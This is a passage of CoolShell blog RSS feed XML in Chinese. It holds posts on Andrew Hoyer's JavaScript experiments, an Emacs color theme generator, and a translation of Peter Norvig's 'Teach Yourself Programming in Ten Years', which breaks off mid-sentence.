CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2287.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>193</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>又一个Javascript试验田</title>\n\t\t<link>https://coolshell.cn/articles/2276.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2276.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 31 Mar 2010 04:41:32 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2276</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>以前本站发布过一篇《哥是玩程序的》文章向大家展示了用Javascript干的些怪异的事。看来，这样的人并不在少数，这不，我又发现了一个，这回这个好像更有技术含量...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2276.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2276.html\">又一个Javascript试验田</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>以前本站发布过一篇《<a href=\"https://coolshell.cn/articles/1932.html\" target=\"_blank\">哥是玩程序的</a>》文章向大家展示了用Javascript干的些怪异的事。看来，这样的人并不在少数，这不，我又发现了一个，这回这个好像更有技术含量一些，下面是其试验程序的列表：</p>\n<p style=\"text-align: center;\"><a href=\"http://www.andrew-hoyer.com/experiments\">http://www.andrew-hoyer.com/experiments</a></p>\n<table>\n<tbody>\n<tr>\n<td><a href=\"http://www.andrew-hoyer.com/experiments/sudoku\"><br />\n<img decoding=\"async\" class=\"exp_thumbnail\" src=\"http://www.andrew-hoyer.com/images/experiments/SudokuThumb.jpg?1265581473\" alt=\"Bacon and Eggs Thumbnail\" /><br />\n</a></td>\n<td><a class=\"important\" href=\"http://www.andrew-hoyer.com/experiments/sudoku\">Simple Sudoku Solver</a> 这是一个“数独游戏”，其在你游戏的过程中可以在空格处提示你可能的数字。</p>\n<p class=\"exp_date\">February 2010</p>\n</td>\n</tr>\n<tr>\n<td><a href=\"http://www.andrew-hoyer.com/experiments/cloth\"><br />\n<img decoding=\"async\" class=\"exp_thumbnail\" src=\"http://www.andrew-hoyer.com/images/experiments/ClothThumb.jpg?1250545758\" alt=\"Bacon and Eggs Thumbnail\" /><br />\n</a></td>\n<td><a class=\"important\" href=\"http://www.andrew-hoyer.com/experiments/cloth\">Cloth Simulation</a> 这是一个极端的布料仿真程序。使用鼠标拖曳，按着g键拖曳可以把布悬挂起来。</p>\n<p class=\"exp_date\">August 2009</p>\n</td>\n</tr>\n</tbody>\n</table>\n<p><span id=\"more-2276\"></span></p>\n<table>\n<tbody>\n<tr>\n<td><a href=\"http://www.andrew-hoyer.com/experiments/numbers\"><br />\n<img decoding=\"async\" class=\"exp_thumbnail\" src=\"http://www.andrew-hoyer.com/images/experiments/NumbersThumb.jpg?1247627086\" alt=\"Bacon and Eggs Thumbnail\" /><br />\n</a></td>\n<td><a class=\"important\" href=\"http://www.andrew-hoyer.com/experiments/numbers\">Numbers to Words</a> 这是一个把阿拉伯数字变成英文说明的演示。</p>\n<p class=\"exp_date\">June 2009</p>\n</td>\n</tr>\n<tr>\n<td><a href=\"http://www.andrew-hoyer.com/experiments/particle_system\"><br />\n<img decoding=\"async\" class=\"exp_thumbnail\" src=\"http://www.andrew-hoyer.com/images/experiments/ParticleSystemThumb.jpg?1247626980\" alt=\"Bacon and Eggs Thumbnail\" /><br />\n</a></td>\n<td><a class=\"important\" href=\"http://www.andrew-hoyer.com/experiments/particle_system\">N-Bodies Particle System</a> 可以模拟物理学上的原子核与电子圆周运动的的样子。</p>\n<p class=\"exp_date\">April 2009</p>\n</td>\n</tr>\n<tr>\n<td><a href=\"http://www.andrew-hoyer.com/experiments/quantum_cryptography\"><br />\n<img decoding=\"async\" class=\"exp_thumbnail\" src=\"http://www.andrew-hoyer.com/images/experiments/QuantumThumb.jpg?1247626989\" alt=\"Bacon and Eggs Thumbnail\" /><br />\n</a></td>\n<td><a class=\"important\" href=\"http://www.andrew-hoyer.com/experiments/quantum_cryptography\">Quantum Cryptography</a> 一篇文章介绍了什么叫“量子加密”。</p>\n<p class=\"exp_date\">March 2009</p>\n</td>\n</tr>\n<tr>\n<td><a href=\"http://www.andrew-hoyer.com/experiments/dripsessions\"><br />\n<img decoding=\"async\" class=\"exp_thumbnail\" src=\"http://www.andrew-hoyer.com/images/experiments/DripSessionsThumb.jpg?1247627110\" alt=\"Bacon and Eggs Thumbnail\" /><br />\n</a></td>\n<td><a class=\"important\" href=\"http://www.andrew-hoyer.com/experiments/dripsessions\">Drip Sessions</a> 一个流淌的效果。</p>\n<p class=\"exp_date\">February 2009</p>\n</td>\n</tr>\n<tr>\n<td><a href=\"http://www.andrew-hoyer.com/experiments/robotarm\"><br />\n<img decoding=\"async\" class=\"exp_thumbnail\" src=\"http://www.andrew-hoyer.com/images/experiments/RoboticArmThumb.jpg?1247627096\" alt=\"Bacon and Eggs Thumbnail\" /><br />\n</a></td>\n<td><a class=\"important\" href=\"http://www.andrew-hoyer.com/experiments/robotarm\">Robotic Arm</a> 一个机械手臂的演示程序。</p>\n<p class=\"exp_date\">December 2008</p>\n</td>\n</tr>\n</tbody>\n</table>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" alt=\"如何读懂并写出装逼的函数式代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_title\">如何读懂并写出装逼的函数式代码</a></li><li ><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/yoda-lambda-150x150.png\" alt=\"函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_title\">函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/10739.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/lua-150x150.gif\" alt=\"Lua简明教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10739.html\" class=\"wp_rp_title\">Lua简明教程</a></li><li ><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"数据即代码：元驱动编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_title\">数据即代码：元驱动编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2276.html\">又一个Javascript试验田</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2276.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>10</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Emacs配色在线生成器</title>\n\t\t<link>https://coolshell.cn/articles/2271.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2271.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 31 Mar 2010 01:15:19 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[Emacs]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2271</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>http://alexpogosyan.com/color-theme-creator/ 点击“Generate config file”，你可以看到生成的Em...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2271.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2271.html\">Emacs配色在线生成器</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><a href=\"http://alexpogosyan.com/color-theme-creator/\">http://alexpogosyan.com/color-theme-creator/</a></p>\n<p>点击“Generate config file”，你可以看到生成的Emacs配色配置。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-2272\" title=\"Emacs Color Theme Creator\" src=\"https://coolshell.cn/wp-content/uploads/2010/03/emacs_color_theme.jpg\" alt=\"\" width=\"400\" height=\"278\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/03/emacs_color_theme.jpg 400w, https://coolshell.cn/wp-content/uploads/2010/03/emacs_color_theme-300x209.jpg 300w, https://coolshell.cn/wp-content/uploads/2010/03/emacs_color_theme-388x270.jpg 388w\" sizes=\"(max-width: 400px) 100vw, 400px\" /></p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/3437.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/12/ediff-small-150x150.png\" alt=\"一些杂项资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3437.html\" class=\"wp_rp_title\">一些杂项资源</a></li><li ><a href=\"https://coolshell.cn/articles/3136.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg\" alt=\"chmod -x chmod的N种解法\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3136.html\" class=\"wp_rp_title\">chmod -x chmod的N种解法</a></li><li ><a href=\"https://coolshell.cn/articles/3125.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/10/horrorstories.txt-150x150.jpg\" alt=\"主流文本编辑器学习曲线\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3125.html\" class=\"wp_rp_title\">主流文本编辑器学习曲线</a></li><li ><a href=\"https://coolshell.cn/articles/1626.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"ldd 的一个安全问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1626.html\" class=\"wp_rp_title\">ldd 的一个安全问题</a></li><li ><a href=\"https://coolshell.cn/articles/435.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"Python中实现多属性排序\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/435.html\" class=\"wp_rp_title\">Python中实现多属性排序</a></li><li ><a href=\"https://coolshell.cn/articles/428.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" alt=\"程序员需要具备的基本技能\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/428.html\" class=\"wp_rp_title\">程序员需要具备的基本技能</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2271.html\">Emacs配色在线生成器</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2271.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>7</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t</channel>\n</rss>\n"
  },
  {
    "path": "blogs/rss/feed-31.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss version=\"2.0\"\n\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\txmlns:atom=\"http://www.w3.org/2005/Atom\"\n\txmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\txmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\"\n\t>\n\n<channel>\n\t<title>第 31 页 &#8211; 酷 壳 &#8211; CoolShell</title>\n\t<atom:link href=\"https://coolshell.cn/feed?paged=31\" rel=\"self\" type=\"application/rss+xml\" />\n\t<link>https://coolshell.cn</link>\n\t<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>\n\t<lastBuildDate>Mon, 17 May 2010 17:40:20 +0000</lastBuildDate>\n\t<language>zh-CN</language>\n\t<sy:updatePeriod>\n\thourly\t</sy:updatePeriod>\n\t<sy:updateFrequency>\n\t1\t</sy:updateFrequency>\n\t<generator>https://wordpress.org/?v=6.2</generator>\n\t<item>\n\t\t<title>“21天教你学会C++”</title>\n\t\t<link>https://coolshell.cn/articles/2250.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2250.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 30 Mar 2010 00:27:27 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2250</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面是一个《Teach Yourself  C++ in 21 Days》的流程图，请各位程序员同仁认真领会。如果有必要，你可以查看这个图书以作参照：http:...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2250.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2250.html\">“21天教你学会C++”</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面是一个《Teach Yourself  C++ in 21 Days》的流程图，请各位程序员同仁认真领会。如果有必要，你可以查看这个图书以作参照：<a href=\"http://www.china-pub.com/27043\" target=\"_blank\">http://www.china-pub.com/27043</a></p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2010/03/Teach_Youself_CPP_21days.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-2251\" title=\"Teach Youself C++ 21 Days\" src=\"https://coolshell.cn/wp-content/uploads/2010/03/Teach_Youself_CPP_21days.jpg\" alt=\"\" width=\"550\" height=\"471\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/03/Teach_Youself_CPP_21days.jpg 550w, https://coolshell.cn/wp-content/uploads/2010/03/Teach_Youself_CPP_21days-300x257.jpg 300w, https://coolshell.cn/wp-content/uploads/2010/03/Teach_Youself_CPP_21days-315x270.jpg 315w\" sizes=\"(max-width: 550px) 100vw, 550px\" /></a></p>\n<p>看完上面这个图片，我在想，我学习C++有12年了，好像C++也没有学得特别懂，看到STL和泛型，还是很头大。不过，我应该去考虑研究量子物理和生物化学，这样，我才能重返98年杀掉还在大学的我，然后达到21天搞定C++的目标。另外，得要特别提醒刚刚开始学习C++的朋友，第21天的时候，小心被人杀害。呵呵。</p>\n<p>当然，上面只是一个恶搞此类图片，学习一门技术，需要你很长的时间，正如图片中的第三图和第四图所示，你需要用十年的时间去不断在尝试，并在错误中总结经验教训，以及在项目开发中通过与别人相互沟通互相学习来历练自己。你才能算得上是真正学会。</p>\n<p>这里有篇文章叫《<a href=\"http://norvig.com/21-days.html\" target=\"_blank\"><strong>Teach Yourself Programming in Ten Years</strong></a>》，网上有人翻译了一下，不过原文已被更新了，我把网上的译文转载并更新如下：</p>\n<p><span id=\"more-2250\"></span></p>\n<h3 style=\"text-align: center;\"></h3>\n<h3 style=\"text-align: center;\">用十年来学编程<br />\nPeter Norvig</h3>\n<div></div>\n<h4>为什么每个人都急不可耐？</h4>\n<div>走进任何一家书店，你会看见《Teach Yourself Java in 7 Days》（7天Java无师自通）的旁边是一长排看不到尽头的类似书籍，它们要教会你Visual Basic、Windows、Internet等等，而只需要几天甚至几小时。我在<a href=\"http://www.amazon.com/\" target=\"_blank\">Amazon.com</a>上进行了如下<a href=\"http://www.amazon.com/exec/obidos/tg/browse/-/468558/104-5938873-6579160\">搜索</a>：</div>\n<div></div>\n<div><a href=\"http://www.amazon.com/exec/obidos/search-handle-url/ix=books&amp;rank=%2Bfeaturedrank&amp;fqp=power%01pubdate%3A%20after%201992%20and%20title%3A%20days%20and%0D%20%28title%3A%20learn%20or%20title%3A%20teach%20yourself%29&amp;sz=25&amp;pg=1/ref=s_b_np\" target=\"_blank\">pubdate: after 1992 and title: days and (title: learn or title: teach yourself)<br />\n</a> (出版日期：1992年后 and 书名：天 and （书名：学会 or 书名：无师自通）)</div>\n<div></div>\n<div>我一共得到了248个搜索结果。前面的78个是计算机书籍（第79个是《<a href=\"http://www.amazon.com/exec/obidos/ASIN/0781802245/\" target=\"_blank\">Learn Bengali in 30 days</a>》，30天学会孟加拉语）。我把关键词“days”换成“<a href=\"http://www.amazon.com/exec/obidos/search-handle-url/ix=books&amp;rank=%2Bfeaturedrank&amp;fqp=power%01pubdate%3A%20after%201992%20and%20title%3A%20hours%20and%0D%20%28title%3A%20learn%20or%20title%3A%20teach%20yourself%29&amp;sz=25&amp;pg=3/ref=s_b_np\" target=\"_blank\">hours</a>”，得到了非常相似的结果：这次有253本书，头77本是计算机书籍，第78本是《<a href=\"http://www.amazon.com/exec/obidos/ASIN/0028638999/\" target=\"_blank\">Teach Yourself Grammar and Style in 24 Hours</a>》（24小时学会文法和文体）。头200本书中，有96%是计算机书籍。</div>\n<div></div>\n<div>结论是，要么是人们非常急于学会计算机，要么就是不知道为什么计算机惊人地简单，比任何东西都容易学会。没有一本书是要在几天里教会人们欣赏贝多芬或者量子物理学，甚至怎样给狗打扮。在《<em><a href=\"http://www.ccs.neu.edu/home/matthias/HtDP2e/index.html\">How to Design Programs</a></em>》这本书里说“<em>Bad programming is easy. Idiots can learn it in 21 days, even if they are dummies.” </em>（坏的程序是很容易的，就算他们是笨蛋白痴都可以在21天内学会。）</div>\n<div></div>\n<div>让我们来分析一下像《<a href=\"http://www.amazon.com/Learn-C-Three-Days-Rachele/dp/1556227078\" target=\"_self\">Learn C++ in Three Days</a>》（3天学会C++）这样的题目到底是什么意思：</div>\n<ul>\n<li><strong>学会</strong>：在3天时间里，你不够时间写一些有意义的程序，并从它们的失败与成功中学习。你不够时间跟一些有经验的程序员一起工作，你不会知道在C++那样的环境中是什么滋味。简而言之，没有足够的时间让你学到很多东西。所以这些书谈论的只是表面上的精通，而非深入的理解。如Alexander Pope（英国诗人、作家，1688-1744）所言，<strong><span style=\"color: #800080;\">一知半解是危险的（a little learning is a dangerous thing）</span></strong></li>\n<li><strong>C++</strong>：在3天时间里你可以学会C++的语法（如果你已经会一门类似的语言），但你无法学到多少如何运用这些语法。简而言之，如果你是，比如说一个Basic程序员，你可以学会用C++语法写出Basic风格的程序，但你学不到C++真正的优点（和缺点）。那关键在哪里？Alan Perlis（ACM第一任主席，图灵奖得主，1922-1990）曾经说过：“<strong><span style=\"color: #800080;\">如果一门语言不能影响你对编程的想法，那它就不值得去学</span></strong>”。另一种观点是，有时候你不得不学一点C++（更可能是javascript和Flash Flex之类）的皮毛，因为你需要接触现有的工具，用来完成特定的任务。但此时你不是在学习如何编程，你是在学习如何完成任务。</li>\n<li><strong>3天</strong>：不幸的是，这是不够的，正如下一节所言。</li>\n</ul>\n<h4>10年学编程</h4>\n<div>一些研究者（<a href=\"http://www.amazon.com/exec/obidos/ASIN/034531509X/\">Bloom (1985)</a>, <a href=\"http://norvig.com/21-days.html#bh\">Bryan &amp; Harter (1899)</a>, <a href=\"http://www.amazon.com/exec/obidos/ASIN/0805803092\">Hayes (1989)</a>, <a href=\"http://norvig.com/21-days.html#sc\">Simmon &amp; Chase (1973)</a>）的研究表明，在许多领域，都需要大约10 年时间才能培养出专业技能，包括国际象棋、作曲、绘画、钢琴、游泳、网球，以及神经心理学和拓扑学的研究。似乎并不存在真正的捷径：即使是莫扎特，他4 岁就显露出音乐天才，在他写出世界级的音乐之前仍然用了超过13年时间。再看另一种音乐类型的披头士，他们似乎是在1964年的Ed Sullivan节目中突然冒头的。但其实他们从1957年就开始表演了，即使他们很早就显示出了巨大的吸引力，他们第一次真正的成功——Sgt. Peppers——也要到1967年才发行。<a href=\"http://www.amazon.com/Outliers-Story-Success-Malcolm-Gladwell/dp/0316017922\">Malcolm Gladwell</a> 研究报告称，把在伯林音乐学院学生一个班的学生按水平分成高中低，然后问他们对音乐练习花了多少工夫：</div>\n<blockquote><p>在这三个小组中的每一个人基本上都是从相同的时间开始练习的（在五岁的时候）。在开始的几年里，每个人都是每周练习2-3个小时。但是在八岁的时候，练习的强度开始显现差异。在这个班中水平最牛的人开始比别人练习得更多——在九岁的时候每周练习6个小时，十二岁的时候，每周8个小时，十四岁的时候每周16个小时，并在成长过程中练习得越来越多，到20岁的时候，其每周练习可超过30个小时。到了20岁，这些优秀者在其生命中练习音乐总共超过 10,000 小时。与之对比，其它人只平均有8,000小时，而未来只能留校当老师的人仅仅是4,000 小时。</p></blockquote>\n<div>所以，这也许需要10,000 小时，并不是十年，但这是一个magic number。Samuel Johnson（英国诗人）认为10 年还是不够的：“<strong><span style=\"color: #800080;\">任何领域的卓越成就都只能通过一生的努力来获得；稍低一点的代价也换不来。</span></strong>”（Excellence in any department can be attained only by the labor of a lifetime; it is not to be purchased at a lesser price.） 乔叟（Chaucer，英国诗人，1340-1400）也抱怨说：“<strong><span style=\"color: #800080;\">生命如此短暂，掌握技艺却要如此长久。</span></strong>”（the lyf so short, the craft so long to lerne.）</div>\n<div></div>\n<div>下面是我在编程这个行当里获得成功的处方：</div>\n<ul>\n<li>对编程感兴趣，因为乐趣而去编程。确定始终都能保持足够的乐趣，以致你能够将10年时间投入其中。</li>\n<li>跟其他程序员交谈；阅读其他程序。这比任何书籍或训练课程都更重要。</li>\n<li>编程。最好的学习是<a href=\"http://www.engines4ed.org/hyperbook/nodes/NODE-120-pg.html\" target=\"_blank\">从实践中学习</a>。用更加技术性的语言来讲，“个体在特定领域最高水平的表现不是作为长期的经验的结果而自动获得的，但即使是非常富有经验的个体也可以通过刻意的努力而提高其表现水平。”（<a href=\"http://www2.umassd.edu/swpi/DesignInCS/expertise.html\" target=\"_blank\">p. 366</a>），而且“最有效的学习要求为特定个体制定适当难度的任务，有意义的反馈，以及重复及改正错误的机会。”（p. 20-21）《<a href=\"http://www.amazon.com/exec/obidos/ASIN/0521357349\" target=\"_blank\">Cognition in Practice: Mind, Mathematics, and Culture in Everyday Life</a>》（在实践中认知：心智、数学和日常生活的文化）是关于这个观点的一本有趣的参考书。</li>\n<li>如果你愿意，在大学里花上4年时间（或者再花几年读研究生）。这能让你获得一些工作的入门资格，还能让你对此领域有更深入的理解，但如果你不喜欢进学校，（作出一点牺牲）你在工作中也同样能获得类似的经验。在任何情况下，单从书本上学习都是不够的。“计算机科学的教育不会让任何人成为内行的程序员，正如研究画笔和颜料不会让任何人成为内行的画家”, Eric Raymond，《The New Hacker&#8217;s Dictionary》（新黑客字典）的作者如是说。我曾经雇用过的最优秀的程序员之一仅有高中学历；但他创造出了许多伟大的软件（<a href=\"http://www.xemacs.org/\" target=\"_blank\">XEmacs</a>, <a href=\"http://www.mozilla.org/\" target=\"_blank\">Mozilla</a>），甚至有讨论他本人的<a href=\"http://groups.google.com/groups?q=alt.fan.jwz&amp;meta=site%3Dgroups\" target=\"_blank\">新闻组</a>，而且股票期权让他达到我无法企及的<a href=\"http://en.wikipedia.org/wiki/DNA_Lounge\" target=\"_blank\">富有程度</a>（译注：指Jamie Zawinski，Xemacs和Netscape的作者）。</li>\n<li>跟别的程序员一起完成项目。在一些项目中成为最好的程序员；在其他一些项目中当最差的一个。当你是最好的程序员时，你要测试自己领导项目的能力，并通过你的洞见鼓舞其他人。当你是最差的时候，你学习高手们在做些什么，以及他们不喜欢做什么（因为他们让你帮他们做那些事）。</li>\n<li>接手别的程序员完成项目。用心理解别人编写的程序。看看在没有最初的程序员在场的时候理解和修改程序需要些什么。想一想怎样设计你的程序才能让别人接手维护你的程序时更容易一些。</li>\n<li>学会至少半打编程语言。包括一门支持类抽象（class abstraction）的语言（如Java或C++），一门支持函数抽象（functional abstraction）的语言（如Lisp或ML），一门支持句法抽象（syntactic abstraction）的语言（如Lisp），一门支持说明性规约（declarative specification）的语言（如Prolog或C++模版），一门支持协程（coroutine）的语言（如Icon或Scheme），以及一门支持并行处理（parallelism）的语言（如Sisal）。</li>\n<li>记住在“计算机科学”这个词组里包含“计算机”这个词。了解你的计算机执行一条指令要多长时间，从内存中取一个word要多长时间（包括缓存命中和未命中的情况），从磁盘上读取连续的数据要多长时间，定位到磁盘上的新位置又要多长时间。（<a href=\"http://norvig.com/21-days.html#answers\" target=\"_blank\">答案在这里</a>）</li>\n<li>尝试参与到一项语言标准化工作中。可以是ANSI C++委员会，也可以是决定自己团队的编码风格到底采用2个空格的缩进还是4个。不论是哪一种，你都可以学到在这门语言中到底人们喜欢些什么，他们有多喜欢，甚至有可能稍微了解为什么他们会有这样的感觉。</li>\n<li>拥有尽快从语言标准化工作中抽身的良好判断力。</li>\n</ul>\n<p>抱着这些想法，我很怀疑从书上到底能学到多少东西。在我第一个孩子出生前，我读完了所有“怎样……”的书，却仍然感到自己是个茫无头绪的新手。30个月后，我第二个孩子出生的时候，我重新拿起那些书来复习了吗？不。相反，我依靠我自己的经验，结果比专家写的几千页东西更有用更靠得住。</p>\n<p>Fred Brooks在他的短文《<a href=\"http://en.wikipedia.org/wiki/No_Silver_Bullet\" target=\"_blank\">No Silver 